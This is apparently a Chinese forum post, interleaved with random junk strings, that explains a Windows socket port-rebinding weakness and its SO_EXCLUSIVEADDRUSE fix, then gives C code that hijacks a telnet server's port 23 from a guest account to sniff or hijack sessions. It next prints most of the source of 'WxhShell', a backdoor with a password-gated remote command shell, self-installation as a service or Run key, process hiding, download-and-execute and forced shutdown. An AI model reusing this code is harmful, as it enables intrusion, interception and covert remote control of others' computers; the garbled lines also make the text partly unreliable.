在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+e>SK!kB7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]n!V T/_u;My; saddr.sin_family = AF_INET;
S,c{LTL S6<o?X9,I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[';o -c"! i#[8I-OtN/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r#sg5aS7O| /Y#8.sr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZnEgU}g<2 l<v{8:,e # 这意味着什么?意味着可以进行如下的攻击:
x?Abk xMJ-= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_:r8UVAT. I-]G{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<=4$.2ym _3`GZeGV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
JW
D`} 9@*pC@I) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
gP%<<yl 2(eO5.FYF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
QVT0.GzR D!`[fjs6A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:Awwt0 #{6VdWZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5U2%X
pO /TMVPnvz. #include
f(Xin3#' #include
vMzL+D2) #include
sp\6-*F #include
8-;.Ejz!\A DWORD WINAPI ClientThread(LPVOID lpParam);
w7MRuAJ4 int main()
)z7CT|h7S {
F 'uqL+jVO WORD wVersionRequested;
VzT*^PFBg DWORD ret;
{]IY;cL WSADATA wsaData;
h4n~V:nNm BOOL val;
C6e5*S SOCKADDR_IN saddr;
MHpGG00, SOCKADDR_IN scaddr;
WI1YP0V int err;
Te+# SOCKET s;
upMs yLp( SOCKET sc;
>)4~,-;k int caddsize;
c]*yo HANDLE mt;
k)+{Y v* DWORD tid;
qjRbsD> wVersionRequested = MAKEWORD( 2, 2 );
l7t
err = WSAStartup( wVersionRequested, &wsaData );
y>C
!cYB if ( err != 0 ) {
ndQw> printf("error!WSAStartup failed!\n");
KcT(/! return -1;
%g?M?D8Ud3 }
O]IAIM saddr.sin_family = AF_INET;
e/4C` J- ^qL<=UC. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
DlzL(p@r &DW !$b saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=bp'5h8_ saddr.sin_port = htons(23);
@Mya|zb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%|4Kak]:Q {
2H;#L`Z* printf("error!socket failed!\n");
EwBrOq`C return -1;
z&9ljQ
iF }
%]F/!n val = TRUE;
j~bNH~3 //SO_REUSEADDR选项就是可以实现端口重绑定的
0s8fF"$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
blomB2vQ {
0<V/[$}\D printf("error!setsockopt failed!\n");
}>iNT.Lvd return -1;
fx>QP?Z }
yFm88 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|zRrGQYm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~"*W;|) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[$} \Gv vMY!Z1.* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M:.+^.h {
N=U`BhL_ ret=GetLastError();
\>9^(N printf("error!bind failed!\n");
83]m/Iz return -1;
s3sD7 @ }
By9CliOy: listen(s,2);
\(`2 @ while(1)
`
,SNq i {
0i5S=L`j caddsize = sizeof(scaddr);
{\k }:) //接受连接请求
DBGU:V,85 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z0M,YSn z if(sc!=INVALID_SOCKET)
UvU@3[fw {
+tt!xfy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<l!:#u if(mt==NULL)
Ttl
m&d+C {
l['p^-I printf("Thread Creat Failed!\n");
mcidA% break;
.*n*eeD, }
W!"QtEJ, }
:,yC\,H^ CloseHandle(mt);
_B^X3EOc }
2z$!} closesocket(s);
O> _ F
WSACleanup();
1=T;6 8B return 0;
o\><e1P }
$e4N4e2x/ DWORD WINAPI ClientThread(LPVOID lpParam)
!?).4yr {
1he5Zevm} SOCKET ss = (SOCKET)lpParam;
pd`m//G SOCKET sc;
} 7:T?
`V: unsigned char buf[4096];
6WIs*$T2* SOCKADDR_IN saddr;
\ntUxPox. long num;
8mLW^R:` DWORD val;
\M|:EG% DWORD ret;
Q`.q,T8I //如果是隐藏端口应用的话,可以在此处加一些判断
KJS-{ed //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zN;P_@U saddr.sin_family = AF_INET;
Zv@
Fr9m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ahbh,U saddr.sin_port = htons(23);
8sBT&A6&j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$B<:SuV# {
;/pI@Ck printf("error!socket failed!\n");
T%FW|jKw return -1;
79}jK"Gc }
oD9L5c) val = 100;
? EHheZ{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f52P1V] {
fI<d&5&g ret = GetLastError();
~b
X~_\ return -1;
k?L2LIB< }
qP&:9eL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M=&,+#z<V {
KZcmNli&A ret = GetLastError();
E8R;S}PA return -1;
a]%sks }
m__pQu: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>KdV]!H {
.L"IG=Uh# printf("error!socket connect failed!\n");
"lt5gu! `u closesocket(sc);
|Ox='.oIb closesocket(ss);
v@M^ukk'} return -1;
q{B?j%.o }
j!%^6Io4 while(1)
)u=W?5%=} {
i`+bSg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,=[%#gS //如果是嗅探内容的话,可以再此处进行内容分析和记录
:-Py0{s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S ++~w9} num = recv(ss,buf,4096,0);
]{\M,txo8 if(num>0)
-}h^'# send(sc,buf,num,0);
b8YdONdy else if(num==0)
gJrWewEe break;
0%}*Zo(e+ num = recv(sc,buf,4096,0);
z,^~H if(num>0)
O&|<2Qr send(ss,buf,num,0);
^->S7[N? else if(num==0)
+DR$ >a break;
NsM`kZM4H }
.PR+_a-X closesocket(ss);
02*qf:kTnA closesocket(sc);
#qDm)zCM return 0 ;
p)?6#~9$ }
-]D/8,|s 4G&dBH S
>CKm:7 ==========================================================
'/@wk#, 3z2
OW@zL$ 下边附上一个代码,,WXhSHELL
650qG$ !8cV."~ ==========================================================
h"0)spF"d &g^*ep~|# #include "stdafx.h"
+FqE fY4j \#I$H9O #include <stdio.h>
y*-_ #include <string.h>
2@GizT*mA #include <windows.h>
Pn[oo_)s #include <winsock2.h>
X~JP
1 #include <winsvc.h>
}$L63;/H #include <urlmon.h>
1hGj?L0m. 9CeR^/i #pragma comment (lib, "Ws2_32.lib")
)rG4Nga5} #pragma comment (lib, "urlmon.lib")
flFdoEV.U) mOn_#2=KF #define MAX_USER 100 // 最大客户端连接数
zp1ym}9M #define BUF_SOCK 200 // sock buffer
]FTi2B{}H #define KEY_BUFF 255 // 输入 buffer
KbvMp1'9P bD:0k.` #define REBOOT 0 // 重启
G`>]ng #define SHUTDOWN 1 // 关机
!+^'Ej)z M%!;5 #define DEF_PORT 5000 // 监听端口
^sLx3a .)!QsBU #define REG_LEN 16 // 注册表键长度
`;;l {8 #define SVC_LEN 80 // NT服务名长度
qclc--fsE p,$N-22a // 从dll定义API
# Q^".# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e:9EP, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?[NC}LC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
=ZIT!B?4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
PLc5m5 >dt*^}* // wxhshell配置信息
71c[`h*0{ struct WSCFG {
tZ9i/ =S int ws_port; // 监听端口
vCaN [ char ws_passstr[REG_LEN]; // 口令
YoKyiO!
int ws_autoins; // 安装标记, 1=yes 0=no
UDg's char ws_regname[REG_LEN]; // 注册表键名
d-UeItyW* char ws_svcname[REG_LEN]; // 服务名
'|^:,@8P9 char ws_svcdisp[SVC_LEN]; // 服务显示名
:V)jm`)#+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
S v>6:y9?G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|0y#} |/ int ws_downexe; // 下载执行标记, 1=yes 0=no
-Qn7+?P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"+"=iwEAz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YNU}R/u6^ _]>1(8_N };
+JU, ^A#X fo@^=-4A- // default Wxhshell configuration
}#O!GG{ struct WSCFG wscfg={DEF_PORT,
F`nQS&y "xuhuanlingzhe",
y~
=H`PAE 1,
H0Pxw
P>q "Wxhshell",
"n!yK "Wxhshell",
kW g.-$pp "WxhShell Service",
-Ks>s "Wrsky Windows CmdShell Service",
85GIEUvH/ "Please Input Your Password: ",
pSw/QO9 1,
:jLL IqhB "
http://www.wrsky.com/wxhshell.exe",
7Gc{&hp* "Wxhshell.exe"
d,"LZ>hNY* };
@LKQ-<dZG zN4OrG0 // 消息定义模块
QOF@DvQ
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
iEr,ly char *msg_ws_prompt="\n\r? for help\n\r#>";
;Ba%aaHl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N6Ud(8* char *msg_ws_ext="\n\rExit.";
afEa@et' char *msg_ws_end="\n\rQuit.";
^/2I)y]W0 char *msg_ws_boot="\n\rReboot...";
??rS h Mu char *msg_ws_poff="\n\rShutdown...";
&v{Ehkr* char *msg_ws_down="\n\rSave to ";
K9lgDk"i g{65 QP char *msg_ws_err="\n\rErr!";
E
$@W~).! char *msg_ws_ok="\n\rOK!";
}{o! #<im? char ExeFile[MAX_PATH];
~&?bU]F int nUser = 0;
0s#72}n HANDLE handles[MAX_USER];
IS bs l=F int OsIsNt;
dj0; tQ=C J!6FlcsZm SERVICE_STATUS serviceStatus;
Sqo+cZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
K7+yU3 z ^gJy,T // 函数声明
kN1MPd4Yh int Install(void);
H",B[
YK int Uninstall(void);
(q>
TKM int DownloadFile(char *sURL, SOCKET wsh);
~4S$+*'8 int Boot(int flag);
Lsmcj{1d void HideProc(void);
-Mt
5< s int GetOsVer(void);
hvd}l8 int Wxhshell(SOCKET wsl);
DDg\oGLp void TalkWithClient(void *cs);
+]db- int CmdShell(SOCKET sock);
%`vzQt`> int StartFromService(void);
(!os&/", int StartWxhshell(LPSTR lpCmdLine);
%\As f-=\qSo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kX 1}/l VOID WINAPI NTServiceHandler( DWORD fdwControl );
NWBYpGZx Zo9<96I& // 数据结构和表定义
(
?V`|[+u SERVICE_TABLE_ENTRY DispatchTable[] =
:QCL9QZ' {
=P-&dN {wscfg.ws_svcname, NTServiceMain},
XC4Z ,,ah" {NULL, NULL}
LSo!_tY };
weitDr6 *dzZOe>, // 自我安装
CI|lJ int Install(void)
/'O8RUjN {
;|N:FG char svExeFile[MAX_PATH];
bdUPo+ HKEY key;
!,J#
r strcpy(svExeFile,ExeFile);
?mQ^"9^XS ntiS7g e1 // 如果是win9x系统,修改注册表设为自启动
\>L,X_DL if(!OsIsNt) {
SGd]o"VF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*OVB;]D3+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MfTLa)Rz RegCloseKey(key);
q!K:N? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ycm)PU [" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LzygupxY! RegCloseKey(key);
A=CeeC]} return 0;
."K>h3(&V }
l/$GF|`U }
h\m35'v! }
Zw]`z*,yRA else {
d{
(,Gy>I V la,avON // 如果是NT以上系统,安装为系统服务
E3L?6Qfx> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@|!4X(2 if (schSCManager!=0)
Ku;fZN[g {
?M2(80 SC_HANDLE schService = CreateService
y)f.ON36I (
wI#8|,]"z schSCManager,
#GsOE#*>T wscfg.ws_svcname,
R^Rc!G} wscfg.ws_svcdisp,
>hKsj{=R7 SERVICE_ALL_ACCESS,
y48]|%73 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SNEhP5! SERVICE_AUTO_START,
UuG%5 ZC SERVICE_ERROR_NORMAL,
H$6RDMU svExeFile,
K/4@2vF NULL,
&K[*vyD NULL,
$QX$r N NULL,
&|SWy
2N NULL,
];r!
M0 NULL
(1/Sf&2i );
n
`j._G
if (schService!=0)
`CK~x= {
%lKw+D CloseServiceHandle(schService);
mrGV{ {. CloseServiceHandle(schSCManager);
[X(m[u '% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o7y<Zd`Bj strcat(svExeFile,wscfg.ws_svcname);
,CE/o7.FG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<,.$U\W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l\U
Q2i RegCloseKey(key);
<y 4(!z" return 0;
IrwQ~z3I }
D{9a'0J }
verI~M$v{ CloseServiceHandle(schSCManager);
'.}}k!# }
(qcFGM22U }
0AZ9I!&i w0QtGQ| return 1;
QE]@xLz }
= XZU9df 1nVQYqT_ // 自我卸载
e8,_"_1:F int Uninstall(void)
+in)(a. {
M-WSdG[AJ HKEY key;
oRfb4+H& *i#2>=) if(!OsIsNt) {
;_sJ>.=\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BD6!, RegDeleteValue(key,wscfg.ws_regname);
" <bjS RegCloseKey(key);
B<W}:>3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~tUZQ5" RegDeleteValue(key,wscfg.ws_regname);
B'/U#>/ RegCloseKey(key);
2OG/0cP return 0;
Z;+,hR (( }
!~^2Mu(X }
s/1r{;q }
.0Ud?v>= else {
32GI+NN vc#o(?g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-e_fn&2,Y if (schSCManager!=0)
q NGR6i {
a[ULSYEi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&-/J~b)" if (schService!=0)
A;!5c;ftj, {
]t[%.^5# if(DeleteService(schService)!=0) {
A-x^JC= CloseServiceHandle(schService);
eI-fH CloseServiceHandle(schSCManager);
g5BL"Dn return 0;
o!xCM:+J }
/fQcrd7h CloseServiceHandle(schService);
|:)Bo<8 }
Y XhZWo{B CloseServiceHandle(schSCManager);
AFt- V }
Q}#4Qz~n }
M]8>5Zx. SiNgV\('U return 1;
F'~r?D }
5N9Cd[4 ^%oH LsY9 // 从指定url下载文件
TF%n1H-sF int DownloadFile(char *sURL, SOCKET wsh)
2_$8Ga {
NK-}[!f HRESULT hr;
zkt~[-jm} char seps[]= "/";
e_-g|ukC char *token;
6@aH2+4+ char *file;
^|/<e?~I char myURL[MAX_PATH];
qJ" (:~ char myFILE[MAX_PATH];
AB
$N`+& WjBml'^RY strcpy(myURL,sURL);
*gmc6xY token=strtok(myURL,seps);
%<~Ewno T while(token!=NULL)
%>&~?zrq {
MdX4Rp' file=token;
mR.j8pi token=strtok(NULL,seps);
|A4B4/! }
hGFi|9/-u Gn7\4,C GetCurrentDirectory(MAX_PATH,myFILE);
"]^U(m>f strcat(myFILE, "\\");
E[hSL#0 strcat(myFILE, file);
tE>FL send(wsh,myFILE,strlen(myFILE),0);
Wz^;:6F send(wsh,"...",3,0);
J^t0M\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[,&g46x22 if(hr==S_OK)
u!xgLf'` return 0;
hgZvti else
M5[#YG'FlQ return 1;
'+_-r'2 =$}`B{(H }
2SU'lh\E (9bU\4F\ // 系统电源模块
ko.%@Y(= int Boot(int flag)
W)`>'X` {
OL=X&Vaf< HANDLE hToken;
'>OEQU5- TOKEN_PRIVILEGES tkp;
[/ CB1//Y r:xg#&"* if(OsIsNt) {
%AV3eqghCg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x1
LI& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
JAW7Y:XB tkp.PrivilegeCount = 1;
zCq6k7u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:wzbD,/M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I9TNUZq(' if(flag==REBOOT) {
qHrIs-NR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2AqcabI9 return 0;
`U?S 9m }
<-d-.
8 else {
T5@t_D>8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NVVAh5R return 0;
|/-# N }
q9zeN:>< }
u`L* else {
.>`7d=KT if(flag==REBOOT) {
1_~'?'&^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ux,dj8=o return 0;
acpc[^' }
Mc else {
D-e^b'l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qztL M?iV return 0;
M~sP|Ha"+ }
6yaWxpW }
OOsd*nX/ y9:o];/ return 1;
QK~>KgVi }
^-}3+YA GwD"j] // win9x进程隐藏模块
HV3D$~g F void HideProc(void)
|?fc]dl1] {
.|ZnU]~T zHj_q%A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
is-{U?- if ( hKernel != NULL )
<>1*1%m {
"%t !+E>nr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j%0g*YI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aG1[85:,\i FreeLibrary(hKernel);
A`1/g{Ha }
$r)nvf`\ RA62Z&W3 return;
%hzNkyD)Y }
PJcz] < Boa?Ghg // 获取操作系统版本
w<4){.dA int GetOsVer(void)
w*N9p8hb] {
M#>f:_`< OSVERSIONINFO winfo;
t#J
#DyY5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Fx*IeIs(:~ GetVersionEx(&winfo);
BUKh5L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}oTac return 1;
T1b9Zqc)f else
ph1veD<ZZ return 0;
D&)gcO`\ }
?3i-wpzMp 0ID
8L
[ // 客户端句柄模块
8eoDE. } int Wxhshell(SOCKET wsl)
)6mv7M{ {
KH&xu,I SOCKET wsh;
]HP struct sockaddr_in client;
Ih95&HsdC DWORD myID;
HPj7i;?O ffyKAZ{]po while(nUser<MAX_USER)
1k>*
{
hpym!G int nSize=sizeof(client);
Wc_Ph40C<_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!'C^qrh if(wsh==INVALID_SOCKET) return 1;
(sn|`k3I Fx0<!_tY- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x2TCw if(handles[nUser]==0)
#H1yjJQ /x closesocket(wsh);
DI!l.w5P_ else
]Ikj Z= nUser++;
S?=2GY }
;xa]ke3] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$y> J= )5X7|*LP return 0;
femAVx}go }
,[^P F+AShh // 关闭 socket
s 4}}MV3X void CloseIt(SOCKET wsh)
M ~!*PCd5 {
Ph.$]yQCc] closesocket(wsh);
n4CzReG nUser--;
d8
ve$X ExitThread(0);
-]PW\}w1 }
J(-#(kMyf ^QV;[ha,o // 客户端请求句柄
t L;;Yt void TalkWithClient(void *cs)
]]%CO$`T[ {
\"PlM!0du OY`G _=6!N SOCKET wsh=(SOCKET)cs;
e v?Hz8Q;( char pwd[SVC_LEN];
T cSj`- char cmd[KEY_BUFF];
$K8ZxH1z@ char chr[1];
*RM#F!A int i,j;
:d!.E$S T0RgCU
IV while (nUser < MAX_USER) {
@eT!v{o g >-iBxml if(wscfg.ws_passstr) {
0/(YH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S`X;2\: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?~S\^4] //ZeroMemory(pwd,KEY_BUFF);
-F|(Y1OE i=0;
rxCuV while(i<SVC_LEN) {
+5);"71 %wvSD&oz // 设置超时
8u;l<^< fd_set FdRead;
eB!0:nHN struct timeval TimeOut;
bEy j8=P; FD_ZERO(&FdRead);
U#,2et6 FD_SET(wsh,&FdRead);
xp>ra2A TimeOut.tv_sec=8;
lgA9p
4- TimeOut.tv_usec=0;
pU`Q[HOs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M*+_E8Lh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-jFt4Q7}8 WZ"x\K-; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S4`uNB#Ht pwd
=chr[0]; bv$)^
if(chr[0]==0xd || chr[0]==0xa) { |' mgo
pwd=0; ,uEWnZ"4
break; 1c+[S]7rY
} .#J'+LxFr
i++; (?YTQ8QR
} i>q]U:U
QSEf
// 如果是非法用户,关闭 socket oXV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _i6G)u&N
} $0sUh]7y
!}Cd_tj6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &d 9tR\}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^0A'XCULG
Qy5\qW'
while(1) { qS|bpC0x
6
}qNH29
ZeroMemory(cmd,KEY_BUFF); B {f&'1pp/
,H1j&]E!
// 自动支持客户端 telnet标准 b 9F=}.4
j=0; Q pAK]
while(j<KEY_BUFF) { HpuHJ#l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C B=H1+
cmd[j]=chr[0]; kiZA$:V8
if(chr[0]==0xa || chr[0]==0xd) { B@=+Fg DD
cmd[j]=0; PDzVXLpC
break; Fla,#uB
} ,57g_z]V
j++; uRh`qnL
} 'h.{fKG]ME
j#9p0[
// 下载文件 8BhLO.(<O
if(strstr(cmd,"http://")) { 3 =KfNz_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [l:3F<M
if(DownloadFile(cmd,wsh)) +kd88Fx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); smF#'"{
else 0:@:cz=#*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KaZ*HPe(
} lnEc5J@c>i
else { 's8NO
Xlj
5 b( [1*
switch(cmd[0]) { a 9(1 6k
fF;Oz"I{\
// 帮助 iXqc$!lTH
case '?': { l&dHH_m3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6I.N:)=
break; XD<7d")I
} Ultx|qU
// 安装 & G@(f=
case 'i': { .1XZ9M
if(Install()) -ytSS:|%\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VTa?y
else .[? E1we
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Yn^ -W
break; WOZf4X`[
} U#gHc:$
// 卸载 :=+s^K
case 'r': { \O/EY&
if(Uninstall()) '""qMRCm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4\%*ovQt
else R4"["T+L`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?C(Z\"IX
break; if9I7@
} YQG[8I
// 显示 wxhshell 所在路径 Oj:O-PtN2
case 'p': { rteViq+|.
char svExeFile[MAX_PATH]; Hv>A$x$q
strcpy(svExeFile,"\n\r"); URck#5
strcat(svExeFile,ExeFile); g+hz>^Wg
send(wsh,svExeFile,strlen(svExeFile),0); c=<d99Cu!
break; >G92k76G
} c|x:]W'ij
// 重启 .^N+'g
case 'b': { b#FN3AsR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8RbtI4
if(Boot(REBOOT)) ;TD<\1HJT=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +V4BJ/H
else { AMA:hQ
closesocket(wsh); yL^1s\<ddW
ExitThread(0); +j_Vs+0
} #.?DsK_:@
break; u`$,S&Er
} d~tG#<^`
// 关机 .Ej `!
case 'd': { ]^Z7w`=%5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ne,7[k
if(Boot(SHUTDOWN)) )p4o4aM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cBb!7?6(
else { %}j.6'`{
closesocket(wsh); lSC3m=4g
ExitThread(0); Y=sRVypJ
} X0^gj>GI|
break; 38b%km#
} Bs =V-0
// 获取shell 1*S It5?4
case 's': { FVMR9~&+
CmdShell(wsh); >Bq;Z}EV
closesocket(wsh); !p >a,8w
ExitThread(0); kXzm
break; 7)O?jc
} TDBWYppM
// 退出 #`RYKQwB
case 'x': { okoD26tK
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *#;8mM
CloseIt(wsh); VQU [5C
break; ^_9 ^iL
} yc|C}oQF
// 离开 lAJ)
case 'q': { d#Sc4xuf
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GRCc<TM,U
closesocket(wsh); m(q6Xe:Vc
WSACleanup(); 5'@J}7h
exit(1); @k<RX'~q
break; qF`;xa%,}
} o+;=C@,'
} F')T:;,s
} bxyEn'vNvQ
!H{)L@f
// 提示信息 M$ep.<Z1|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oo)P(_"u
} \ 3n{%\_
} aO.'(kk8
m?'5*\(ST
return; 6#T?g7\pyR
} >C+0LF`U
><"5
VwR
// shell模块句柄 b<